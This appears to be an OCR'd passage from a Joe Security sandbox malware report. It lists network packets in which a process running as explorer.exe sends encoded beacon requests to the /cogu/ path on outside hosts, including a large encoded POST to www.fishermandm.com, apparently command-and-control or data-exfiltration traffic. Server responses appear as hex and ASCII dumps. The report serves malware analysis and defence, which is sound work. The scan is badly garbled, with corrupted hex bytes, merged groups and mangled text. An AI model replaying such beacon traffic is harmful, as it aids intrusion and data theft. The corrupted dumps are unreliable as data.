51 30 37 4f 44 36 42 30 65 48 71 4d 44 52 47 35 78 31 73 32 76 74 68 79 6f 6f 39 35 64 73 76 50 77 41 66 76 6b 79 36 4a
4b 6e 58 4b 49 74 59 5f 38 6a 6e 70 31 2d 58 75 4b 7a 6d 5a 49 77 4b 59 69 59 69 36 77 73 4b 31 59 73 58 65 65 45 45
74 76 66 4c 52 56 39 64 4b 6¢ 74 66 4f 4d 4e 49 75 4c 54 46 62 62 37 4a 7a 76 75 44 33 4c 6a 6f 65 33 55 47 6e 41 56 31
325555 61 7a 35 39 56 30 77 6a 35 6b 45 35 73 45 6a 4f 6b 43 4d 36 66 4b 5a 67 31 50 76 31 51 71 73 78 78 4b 4e 4e 4
b 53 4a 68 28 56 36 63 36 61 54 6b 41 31 30 67 49 45 72 75 64 4d 53 47 49 70 42 30 49 4a 7e 4e 4d 4e 79 67 65 36 67
6a 7a 30 66 64 61 66 50 79 52 69 7e 43 41 39 6e 6a 6b 62 5a 6a 4b 30 70 49 41 52 36 44 62 67 4e 34 55 6b 4a 4a 54 42
6e 46 4b 62 4e 67 65 4f 4c 38 68 58 7e 4e 5a 6e 68 4a 6b 49 52 79 78 71 33 69 48 5f 6e 4f 76 75 70 47 72 42 5a 63 47 55
69 66 56 70 35 4a 59 51 74 5a 4c 4b 51 39 61 6f 37 55 6b 59 34 72 36 53 70 69 51 57 7e 79 63 32 6e 37 4c 76 74 74 30
4d 31 59 56 6¢ 4a 2d 73 57 76 37 36 48 4f 59 38 44 75 73 35 70 64 78 41 74 39 70 43 58 67 6d 54 4c 44 4e 44 6b 6a 6¢
72 5a 45 39 6a 77 38 7a 6f 4e 4c 41 4e 37 37 32 35 5a 51 43 41 36 39 6b 55 56 4a 61 46 73 28 42 69 69 56 4e 37 5f 32 6a
36 72 30 63 4e 62 62 33 61 78 32 39 34 4f 42 58 45 5a 50 42 65 52 41 73 6a 33 6b 4e 41 78 73 39 36 59 52 46 7e 49 63
49 35 5f 6b 4d 7e 63 77 68 64 52 43 34 36 71 62 51 66 43 39 52 72 5f 6e 59 31 2d 6b 6e 74 55 57 31 4b 4a 61 5f 30 52 32
2d 42 73 7a 4d 4c 5a 49 52 68 63 50 47 31 43 56 74 4f 47 59 4b 6e 74 72 39 45 74 34 2d 78 39 31 5a 56 48 68 37 59 77
45 64 37 49 42 65 64 7a 70 75 4d 78 62 62 53 53 36 57 53 2d 49 35 62 5f 49 79 66 77 4f 37 54 4f 70 6a 76 39 4b 48 39 72
313753727566 655849 5244 68 75 70 7e 32 52 51 4c 79 64 5f 33 42 31 70 45 76 4d 70 58 4f 78 70 4d 67 63 59 44 45
74 4f 37 31 31 47 54 61 4a 6a 54 70 6a 4c 52 6b 32 71 56 70 52 68 6f 47 52 6b 58 55 28 6b 77 2d 31 4e 4e 4a 47 67 64
2d 72 78 57 5f 6e 44 4c 4b 67 38 43 68 46 51 46 71 50 69 43 46 58 62 6b 6¢ 44 76 7e 33 6e 66 75 35 33 6f 59 7a 76 50
69 68 7a 7a 6f 38 34 6b 4f 37 6d 74 56 57 31 48 4f 42 68 35 4b 59 38 33 79 2d 4a 55 41 79 30 74 6e 6¢ 75 61 53 37 38 35
48 6a 55 56 42 2d 42 7a 6b 67 34 46 53 6b 30 57 71 39 64 61 4f 52 78 64 6f 67 28 30 57 54 6d 53 4c 7a 79 56 50 5f 63 6f
72 7a 44 2d 73 69 5a 47 39 53 28 56 68 54 48 6f 72 55 66 66 28 6f 65 32 65 35 6f 33 7a 78 56 79 67 31 74 65 6f 74 34 65
416470 71 76 6f 49 44 66 6f 4f 6f 74 77 54 62 56 72 43 70 35 63 33 4d 41 30 41 6¢ 4b 49 45 51 48 65 39 4d 52 6d 79 77
5478 78 63 62 63 7a 4c 7a 72 33 70 4f 59 7e 42 77 53 61 6a 71 44 51 4a 69 42 6d 72 57 68 4f 71 6a 67 55 79 28 55 30 73
76 4b 7a 54 48 36 35 51 35 6d 75 7a 50 6e 42 70 39 51 4b 32 54 41 71 68 71 68 47 59 50 4c 4c 61 53 54 39 53 77 59 51
4350 57 3549 41 41 52 4a 64 32 61 51 65 30 6¢ 79 4e 38 62 53 6b 73 62 56 33 4a 56 78 33 2d 59 5a 35 6f 7a 42 33 6b 3
1 6d 6e 53 31 46 48 65 64 52 7e 65 5a 32 6f 55 31 34 36 62 47 62 68 45 6¢ 5a 41 41 55 78 48 33 37 53 58 72 46 6a 51 7a
75 4c 6e 76 75 6e 58 67 53 2d 71 51 33 64 56 69 70 48 77 34 38 77 6d 77 78 51 77 6b 76 53 48 31 4d 4e 45 69 5a 49 37
69 4a 4c 6e 79 54 58 35 6e 76 6a 42 30 33 61 6a 47 4f 35 68 51 6e 69 64 66 49 2d 41 30 72 50 46 6d 73 36 69 65 31 72
28 34 6d 6f 32 4e 38 4f 4a 46 73 4f 35 7a 55 64 31 77 4c 76 46 6b 48 72 50 61 79 56 6f 69 6¢ 53 4c 5f 38 6a 64 6f 39 51
62 56 4c 35 4d 47 4e 52 56 45 71 4c 6a 54 7e 4d 50 34 78 37 4d 37 52 59 79 55 70 61 48 72 52 71 66 31 59 32 36 41 5a
71 4e 67 77 66 52 47 6b 33 47 72 6f 34 62 57 58 6f 62 5f 4b 33 72 6e 41 67 70 43 6f 5a 48 30 76 38 6a 78 33 45 73 35 34
3161 44 32 67 33 30 33 38 42 74 49 59 4d 52 31 6f 56 50 4b 31 46 2d 6d 75 46 49 53 50 46 45 31 55 65 67 41 4f 6¢ 77 50
78 74 56 30 42 5a 6a 58 4a 48 76 7a 44 28 63 77 64 52 6b 76 51 41 51 7a 42 68 59 72 5a 73 6¢ 67 56 79 54 51 5f 53 55
65 35 31 56 68 76 51 4a 63 57 51 69 6a 78 5a 33 65 58 6e 53 28 71 33 72

Data Ascii: E6=cNJODmMASmzfvIBYs5mN2JE4np7tC99m2URbasQQ6PP~9Asd8WAqISWXKW_m2T7QEFB3_5yIMQ07
0OD6B0eHgMDRG5x1s2vthyo095dsvPwAfvky6IKnXKItY _8jnpl-XuKzmZIwWKYiYi6wsK1YsXeeEEtvfLRVIdKItfOM
NIuLTFbb7JzvuD3Ljoe3UGNAV12UUaz59VOwj5kESSEjOKCMEfKZg1Pv1QgsxxKNNKSJIh(V6c6aTkA10gIErudMSGI
pB0IJ~NMNyge6gjz0fdafPyRi~CA9njkbZjKOplAREDbgN4UkJITBNFKbNgeOL8hX~NZnhJkIRyxq3iH_nOvupGrBZ
cGUIfVp5JY QtZLKQ9a07 UKY4r6SpiQW~yc2n7LvttOM1YVIJ-sWv76HOY8Dus5pdxAt9pCXgmTLDNDK|IrZE9jw8z0
NLAN7725ZQCA69kUVJaFs(BiiVN7_2j6rocNbb3ax2940BXEZPBeRAs|j3kNAXs96YRF~Icl5_kM~cwhdRC46qbQfC9
Rr_nY1-kntUW1KJa_O0R2-BszMLZIRhcPG1CVtOGYKntr9Et4-x91ZVHh7YWEd71BedzpuMxbbSS6WS-I5b_lyfwO7T
Opjv9KHIr17SrufeXIRDhup~2RQLyd_3B1pEvMpXOxpMgcYDEtO711GTaJjTpjLRk2qVpRhoGRkXU(kw-1NNJGgd-r
XW_nDLKg8ChFQFgPiCFXbkIDv~3nfu530YzvPihzzo84kO7mtVW1HOBhOS5KY83y-JUAyOtnluaS785HjUVB-Bzkg4FS
kOWq9daORxdog(OWTmSLzyVP_corzD-siZG9S(VhTHorUff(oe2e503zxVyglteot4eAdpgvol DfoOotwThVrCp5c3
MAOAIKIEQHeIMRmywTxxchczLzr3pOY~BwSajgDQJiBmrWhOgjgUy(UO0svKzTHE5Q5muzPnBp9QK2TAghghGYPLLaS
TISWYQCPWS5IAARJIA2aQe0lyN8bSksbV3JVx3-YZ50zB3klmnS1FHedR~eZ20U146bGbhEIZAAUXH37SXrFjQzulnvu
nXgS-qQ3dVipHw48wmwxQwkvSHIMNEIZI7iJLnyTX5nvjB03ajGO5hQnidfl-AOrPFms6ie1r(4mo2N80OJFsO5zUd1
wLVFkHrPayVoilSL_8jdo9QbVL5MGNRVEQLjT~MP4x7M7RYyUpaHrRqgflY26AZqNgwfRGk3Gro4bWXob_K3rnAgpCo
ZHOv8jx3Es541aD2g3038BtlYMR10VPK1F-muFISPFE1UegAOIWPxtVOBZjXJHvzD(cwdRkvQAQzBhYrZslgVyTQ_S
Ue51VhvQJcWQIijxZ3eXnS(g3rrYaCm3(0F4F6Q4RvImp3Ry9InYaf3CXAMMsljofFePtY OOMge~MmNeAbnRClp4LwWE4
fOIWNCcJIKIR1ILgmaQ1InLxZUXIY IVIG9fCFwuKrBi~mJAi428PWqgo-h6uwOxvwX3gchYXHTXM_iKVT7rJynLWC8Dn
dZT35ZiKa~Fk3paUVbOc5giUwAbZ99K|jAf68Xgjthjb4Y EPBr2vbwnglX1Jcx3-VLzligJpIRXcIkcFIn3QxmIEle TWUOFIXWrs
7Wwu4fdriiG(1rih2G3Qfa7JSm7DPhL7qURCUIITZshrzP898w7nArxA4cCrgKM7L8zsmriQ8t6NR8VGVEJI8kCd2!J
1SNPR5DBr5ShMXEQc0Y7Br7w7V8IIINRsOOT7hNVB2VycX50x-uezWFGz47K2e1HUPJtHfS-D7d9X7XTKnHyyYPzKjn
ZVsyY6vacLOLvY-yXw47dfzK7Hxnv73p_OgvqYVVLKPNNnxejgZVpK6g4GNVirwGbtuBCOEeAs~z1QpKWOPpF4~r5ig
pVTkpj5QjWmLV23UyPjB6X2hjpjYFN_ThrFVyvNH50SPD4Rzqz3FZSVc86P5ztDz025EmifAcv4tix4rvYxmz~W9okB
X2j~7SQI2631AtongmXTQI3A0zz3ngwo3igPDao7jdY~DrceBPnBQriGMYA50CgB8yuvXHQjZ03qWfpSj5182QsrwV
q5JFH62iMyMelsNV4OfUbcn(jLet1jiA3BirP1p2qMce TIRQ400sMRC4qvcZ6GMfSH_SbiVg-2G8pUtdgaNTwglyOg
4Gxv1IPMqu7gdoWTgd9z8wIm5k8cQTmMOQ30CCVCBQZ9t(9vDR73geWoeRapqVNnyxIB_DY87A7P2gf~zmpSV{3s1k
UoxianDDmnbykTN~5A4fAz_goEz
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kBytes

Timestamp transferred

Oct 13, 2021 8280

15:53:16.210266113 CEST

Session ID Source IP

54 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 8169

15:53:16.113117933 CEST

Oct 13, 2021 8281
15:53:16.219923973 CEST

Session ID Source IP

55 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49851

Direction

ouT

Source Port
49852

Direction

Data

HTTP/1.1 405 Not Allowed

Server: openresty

Date: Wed, 13 Oct 2021 13:53:16 GMT

Content-Type: text/html

Content-Length: 154

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJIBAIRmMzcpTevQakWn6dJuX/N/HxI7YxbOwy8+73ijqYSQ
EN+WGxrruAKtZtliwC86+ewQ0OmsW1W8psOFL/b00zZWgsCAWEAAQ_Y87GzipOsbQOPSxMpfesXqgXCDvs
TDfD1AeWpCpat7WukCkcMKEF11b9fZWZ0uyKaWz3/7coB7M48zuYyW3r+g

Via: 1.1 google

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=TP90dDgalUD062Nc3ik6VEBCj7pU3sm2020GXxDUNHgLIP8RY/BX8xz+WUeumcOFdCH3f&EVpdF=D
6AIWhC HTTP/1.1

Host: www.cacaolixir.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 13 Oct 2021 13:53:16 GMT

Content-Type: text/html

Content-Length: 275

ETag: "615f9601-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP  Destination Port Process

66.96.130.148 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Oct 13, 2021 8286
15:53:21.325165987 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Data

POST /cogu/ HTTP/1.1

Host: www.fishermandm.com

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.fishermandm.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.fishermandm.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 61 76 4e 71 7a 54 32 57 79 46 4d 48 77 77 31 62 6e 69 61 41 47 6d 45 69 34 76 6b 4d 37 38 28 31
49 2d 76 63 4d 56 6a 53 36 47 50 34 36 68 62 61 4b 56 5a 65 4b 6b 46 4f 43 36 38 6b 68 6e 4c 67 58 62 6a 6a 48 59 4e
58 76 79 54 4d 56 73 6e 42 4d 71 28 52 77 69 77 43 32 38 61 44 4d 54 77 42 78 72 6¢ 4e 6¢ 4e 75 62 48 35 59 49 6a 4f 4
870 6d 6d 70 4a 77 6¢ 48 4b 5a 62 49 37 4d 53 37 5f 6¢ 66 31 34 77 59 63 6¢ 46 33 30 75 61 55 58 51 68 75 58 37 37 69
71 76 58 4f 58 66 4f 44 30 69 62 47 6¢ 35 6¢ 33 6b 5f 35 55 32 49 7a 76 43 76 68 51 35 62 62 75 41 66 63 6a 30 6f 62 38
6e 4a 4a 43 31 6b 70 4a 4c 4d 65 32 7a 55 68 4f 4f 52 4f 43 44 75 4b 55 52 70 61 44 37 7a 64 35 50 6d 7e 46 62 35 75 64
67 35 6e 48 57 59 34 59 50 38 38 4f 66 75 76 73 42 6d 38 48 65 6b 67 31 47 65 62 36 31 69 39 54 70 78 45 52 68 44 65
62 4c 65 39 39 41 34 67 54 47 46 71 4d 7a 37 30 35 45 77 4f 4f 66 52 6b 51 33 76 6d 77 73 37 7e 69 6f 5a 68 4a 4c 69 56
73 49 33 4f 62 42 7a 45 53 65 50 59 42 4e 37 4b 78 76 64 67 4c 28 47 46 77 6e 48 33 63 75 43 58 76 59 38 4e 53 6d 4a
6a 3559 7a 36 49 4c 73 31 6¢ 4d 4d 67 59 49 51 61 68 48 71 35 62 6¢ 38 37 33 6¢ 38 48 66 51 61 4e 4b 33 54 77 48 54
4e 78 79 6e 33 72 50 74 47 4e 71 66 5a 78 39 6a 47 30 58 62 4f 51 56 68 74 68 59 50 69 61 67 6¢ 71 4f 6f 31 6d 5a 39 7a
44 57 74 36 56 55 64 64 50 71 31 4c 6a 35 6d 36 32 32 46 33 4c 58 6f 4f 75 67 44 63 61 28 51 61 6a 6d 48 4f 36 5a 37 7a
6e 72 77 30 6e 53 38 5a 4c 4e 79 74 78 6¢ 45 31 6d 4b 4c 49 79 6a 45 49 31 76 76 7a 39 73 30 75 69 79 74 53 78 39 37
41 42 58 58 63 5f 45 51 50 2d 69 56 58 4e 64 4f 33 48 63 53 52 57 74 6¢ 49 66 62 69 59 57 7a 55 31 50 34 53 6a 69 51 70
58 42 4f 32 59 4f 65 65 54 77 46 69 7a 50 74 4d 6e 31 70 61 42 39 69 77 79 4c 73 50 64 4b 4e 63 37 78 72 37 62 4b 5a 33
67 74 76 4 66 79 7a 75 72 69 44 43 48 42 78 39 49 65 6f 46 50 59 41 5f 6b 44 49 64 41 4b 49 58 6e 37 31 52 76 46 65 44
78 7152 34 54 48 42 62 68 4d 4a 37 4a 55 43 55 55 66 4f 6f 33 61 39 2d 49 52 59 43 68 76 5a 71 78 55 70 6¢ 4f 32 6f 64
35 6f 67 68 55 73 77 75 6¢ 54 68 6¢ 41 53 47 78 4b 78 59 76 48 4e 59 6e 43 52 48 66 44 36 4d 45 6d 35 66 65 69 74 78
3153 6d 47 53 4d 30 4e 7538 61 42 44 28 41 51 31 79 6f 56 54 72 59 57 70 70 6d 4d 68 43 6¢ 4c 74 51 6f 4a 6¢ 64 6d 59
67 67 57 61 4c 31 6d 58 41 58 6b 53 39 44 63 28 77 69 6d 32 37 74 63 64 30 7e 50 31 75 6¢ 54 54 4d 43 5f 4f 35 31 4e 32
69 28 57 37 3548 55 43 52 35 75 49 67 42 62 58 74 66 41 54 79 67 55 49 56 68 44 53 32 77 4c 7a 79 54 5f 66 6d 54 48
6a 4c 50 6a 34 68 78 4b 4f 5a 77 53 58 77 41 66 79 4f 67 51 54 55 64 54 6f 2d 41 75 31 52 70 6f 58 39 38 7a 6d 58 61 79
7a 4c 4b 68 4f 55 46 61 37 49 7a 36 4b 54 74 44 49 52 69 37 59 43 74 45 34 53 51 4e 6e 6¢ 74 36 42 6b 70 48 52 48 54
797a 645578 7e 4d 74 6d 41 56 43 66 59 71 52 56 38 69 54 6e 76 30 54 6b 36 6a 35 62 45 34 7a 36 66 61 73 7a 31 41
4e 304a 70 76 38 53 75 64 6d 57 5f 63 52 76 6¢ 6b 41 58 66 47 2d 6e 66 54 55 49 55 66 45 6a 34 45 4b 70 5a 7a 30 38
6e 7a 2d 48 54 4d 31 67 33 69 5a 6b 61 57 30 74 51 5a 58 4a 30 62 77 6f 64 39 45 31 41 4b 42 32 58 62 56 65 69 52 53 7
8 34 46 6¢ 31 7a 28 5f 77 56 6e 45 44 4a 72 50 51 59 4a 71 39 46 35 67 75 6a 43 41 58 33 4¢ 52 34 32 70 57 59 68 51 71
6b 62 43 6f 62 77 56 49 35 39 77 34 71 35 36 76 34 76 5a 68 65 41 70 76 54 39 46 73 4f 61 6¢ 6f 47 62 46 70 65 35 69 31
50 67 7a4c 7573 71 76 46 4f 79 53 53 4b 4f 37 54 55 62 66 39 45 62 48 72 44 30 51 6e 68 79 50 6¢ 34 4a 59 67 33 54 44
69 44 48 52 37 72 6f 4f 67 67 38 55 6a 4e 69 5a 28 5a 7e 74 56 51 75 5a 56 31 4b 64 4b 39 36 78 75 57 6e 64 50 6a 51
5846 47 71 79 79 35 58 46 53 38 34 7a 79 2d 46 57 6d 77 52 6f 6f 4f 6¢ 37 41 61 6b 6a 56 68 37 70 71 43 32 54 39 70 39
4d 4d 67 52 2d 31 77 53 2d 41 70 36 6¢ 55 57 63 54 53 54 56 67 73 59 4e 33 6¢ 4b 45 33 39 44 4b 51 31 76 4f 63 70 36
47 55 67 64 52 48 36 64 7a 35 68 59 72 5a 75 4d 43 75 43 34 74 6f 5a 42 72 71 33 59 67 51 37 69 47 59 34 6e 54 6b 55
4a 6e 74 7a 34 6b 64 4f 37 65 47 6f 62 7a 75 7a 5f 54 32 76 72 43 4a 6b 68 61 71 71 57 65 49 28 4b 67 56 7e 50 6d 72 4b
4d 3350 78 6a 71 79 75 4b 47 74 33 61 6a 77 55 4c 4d 38 4a 43 69 4b

Data Ascii: E6=avNgzT2WyFMHww1bniaAGmEi4vkM78(1l-veMVjS6GP46hbaKVZeKkFOC68khnLgXbjjHYNXvyT
MVsnBMq(RwiwC28aDMTwBXrININubH5Y ljOHpmmpJwIHKZbI7MS7_If14wYclIF30uaUXQhuX77iqvXOXfODOIbGIS5I
3k_5U21zvCvhQ5bbuAfcj0ob8nJIC1kpILMe2zUhOOROCDUKURpaD7zd5Pm~Fb5udg5nHWY4YP880fuvsBm8HekglG
eb61i9TpXERhDebLe99A4gTGFqMz705EWOOfRkQ3vmws7~ioZhJLiVsI3ObBzESePYBN7KxvdgL(GFwnH3cuCXvY8N
SmJj5Yz61Ls1IMMgY1QahHqg5bI873I8HfQaNK3TWHTNxyn3rPtGNgfZx9jG0XbOQVhthYPiaglgOo1mZ9zDWt6VUdd
PQ1Lj5m622F3LX00ugDca(QajmHO6Z7znrwOnS8ZLNytxIEImKLIYjEI1vvz9sO0uiytSx97ABXXc_EQP-iVXNdO3Hc
SRWIIfbiYWzU1P4SjiQpXBO2YOee TwFizPtMn1paB9iwyLsPdKNc7xr7bKZ3gtvOfyzuriDCHBx9leoFPYA_kDIdA
KIXn71RvFeDxqR4THBbhMJ7JUCUUfO03a9-IRY ChvZgxUplO20d50ghUswulThIASGXKxYVHNYnCRHfD6MEmS5feitx
1SmGSMONu8aBD(AQ1lyoVTrYWppmMhCILtQoJldmYggWaL1mXAXkS9Dc(wim27tcd0~PL1ulTTMC_O51N2i(W75HUCR5
ulgBbXtfATYygUIVhDS2wLzyT_fmTHjLPj4hxKOZWSXwAfyOgQTUdTo-AulRpoX98zmXayzLKhOUFa7Iz6KTtDIRI7Y
CtE4SQNNIt6BkpHRHTYzdUx~MtmAVCYqRV8iTnvOTk6j5bE4z6fasz1AN0Ipv8SudmW_cRVIKAXfG-nfTUIUfEJ4E
KpZz08nz-HTM1g3iZkaWO0tQZXJObwod9E1AKB2XbVeiRSx4FI1z(_ wVnEDJIrPQYJq9F5gujCAX3LR42pWYhQgkbCob
WVI59w4q56v4vZheApvTIFsOaloGbFpe5ilPgzLusqvFOySSKO7TUbfOEbHIDOQnhyPI4JYg3TDIDHR7roOgg8UjNi
Z(Z~tVQuZV1KdK96xuWndPjQXFGqyy5XFS84zy-FWmwR000I7AakjVh7pgC2TI9p9MMgR-1wS-Ap6IUWCTSTVgsYN3I
KE39DKQ1vOcp6GUgdRH6dz5hYrZuMCuC4toZBrq3YgQ7iGY4nTkUJIntz4kdO7eGobzuz_T2vrCJIkhaqqWel(KgV~Pm
rKM3PxjqyuKGt3ajwULMBJICIKY1IvX 7ufbVi2hQ(t5d1505z_neA9UXINgSN7WNGEY20Ilg-Z9mO0lqvK4Bn98fLPva(
tuKrilvsnDtUDLOWDEfOtkwRsUHo3tLeZb6luL3WC2_0O10ULYHqzrLZKZZrI5V-jr53B1Ey3WcWIRRG2f09VrMBHLc
yWpEhOQhztUvkMVIGYT2MI7SKgqW~8HZMFWIWx120bEUA0oOuRpjBqDx2kBXpABPUUQjM7p7vIKBR7I6gNfXE2jg3MVu
hjv4VSrlo1NtkpMGROgFTqyjm6bU4CQEYFw6JJQuGU_2-s92a619m_PpTWhIEGYK2h68bT291lu71jOfMpJIvbfis5rp
rEJEWOMjOe3i_zpTKrmBe8ZoxUHrwvteGmIG8Xz98EPRYT58XWSY3ImKmOTETzeVtbLFNTpdYAgCTMBIcYSQSE6UON
rkY8wOK8DXDIY6eckUOPpZGLVECqjKZUgzACzglomAoS4tu~1YGUIUEJOCLZOCAFIf2jhGFZ9GaltMIOXHvPeQOn3l
4ulhB1IN9~6iM56JQE9d204u37CsmjmJIDnRdrnMJIvkLe THEOXKD8I4gVICLc_KIsUI7IMX50CDw5IpJbNNb52SWWOE
9uz~KgClVpalomP2ZYIqvrVglejALVLKsFKRX(jBf8JEM4zJQi6Ng~4Ar30ZPEKQMAFMx80Gj(6ykJoDWijnVjcApiM
YPKgcj7m7YQB20b1jsXaP(xrVW5MOJxp8h4yXJzmhPX1PvaVODHKDzIOGX5dw1xOC76H1vWRMnStbd25gfA6bSo2ld
ugmSmRobQKj1Z1-AxEnA_KySN5nM3V66-2atDGNuqyPAf4qc07pyodmfHTc37F2VHIFIOML36tz8XkX8CsxZjg2YoQ
D8eSCO0JtclsOhmLXWk1dQVIBX2-x7jR1wMIvd~HtPK64tVeYReMHF(SoLOaCKySjYgyOAbP1BEjIrAvY XQqglIVFXs
Uj4KVKCNGITe6GA4ELIBX5VRSKBFWWIRshK_cHzolUVgD7P8KrkhRNSFUVZT~HbER9E_paooXqHM6510Se(ctX9e0bx
IDPJrqu4NGmUVKKQIUJbxuzSYWi~sE_X_S3t57zNx6D0bQILVe_G59tN_C_N3WM(VVg3Mbtsbfipvpg6-OjulVXZQV
HprgsVarN8Nuh5LeWLdLHYeP3UcKRtXzu57CMbF(4000jDCGc~IKmHjAnt69vVBuUhpUjlizpx3xNbbYUWhbB~EUIRFc
CZgpw6Jws2B3PbKchQgmWBJI0_HH2ayM5y~ZzZkUGovkSMXanAl_QshV8_djHrShdvnU4XpW~aXksXQpO
weXKK2hN1hHgSRTMa3eVolVh9jmrRN_nat9rfpNxFzdvF9J1p2zxMtVyvpnUxuUnoF-tL~yccexFPWLjNzRcoSvgpL
6da2u(eXngyRM7k(Vome4HiaCoasc2W6D~kz5GYHRIXEzb6igFSY5rZ21893dxS7f2gMMZ3-Rv(7~_OhCYtijCTPwSD
G5WXfx0fjaHXEYgebbnllJSzRiVNKVbeYxhardC9eghqzvHRJOImsRBgvcaRGIAGEMPOIoAUV2FFJ7cY UaRR3tPujp
0CA(dsJqg6Y0TgL4b5G55DsSEmp5PILVhOE2JA7QIBMRI6)tIX4Tg8BdLbcoAxNfeYYKlaxmDArAMXf1OTmdGxYMGZZ
BRISUGM7xpTpKtUNWEmKkjyBXVErBjOrp2nMBwVL(_9f~7FZ08cD6S~c6GxwmmoKFTtvKn4dKD7X(mpJSu4nyURt6_r
88pfZUHzFOt3Kzn(XCCbnmgxSEKEXvKzVSxu_1koMtg0_iSMyE8YHJIWmuYFWZwXHQF9URJcDa5ewSkQ6
Y8YuZORDovj89fETrcv6WjVe3dfnAMofY OLcNREIilVNfyCpcvEOOt7gz0LrOchydy~BOmHUUQrKAO10asWrw90qoag
1YIWgkVvj1bIOHE69QF2AQR12c~SePPk8i0HV6PMKfirxVmpDTER5jp4Nbw6ef68TxzfKWhZQHsrQPtISLFtfC_fHA3Nu5Zy-
rVJeowHIusZt4LjJV0557Ny4T9QjVCsidocZD19kU7vPneZod1AovK3c5CUc2CuPuhG59_5caPyFaGXjNVM5gtyJg9IM7wr
XC_mAOPRwAe32ZQnFsrGOMU112MQXINMS49kNI06yO061i3Fgugoi-9GyU1XaUNgm-rkwJj80wwmHEOqgbxzL6Pe2uew
18zzQ2RhXYwbkUOFafTOc51yjl2JtZqE
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kBytes
Timestamp transferred

Oct 13, 2021 8416
15:53:21.774180889 CEST

Session ID Source IP

56 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 8295

15:53:21.416311979 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49853

Direction
ouT

Data

HTTP/1.1 404 Not Found

Date: Wed, 13 Oct 2021 13:53:21 GMT

Content-Type: text/html

Content-Length: 867

Connection: close

Server: Apache/2

Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT

Accept-Ranges: bytes

Age: 0

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 0d Oa 20 20 20 20 3c 68 65 61 64
3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46
6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 20 20 20 20 20 20 20 20 3¢ 73 74 79 6¢ 65 3e 0d 0a 20 20 20 20 20 20 20 20 20
2020 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b
20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a
2030 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d Oa 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0d 0a 20 20 2
020202020 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f
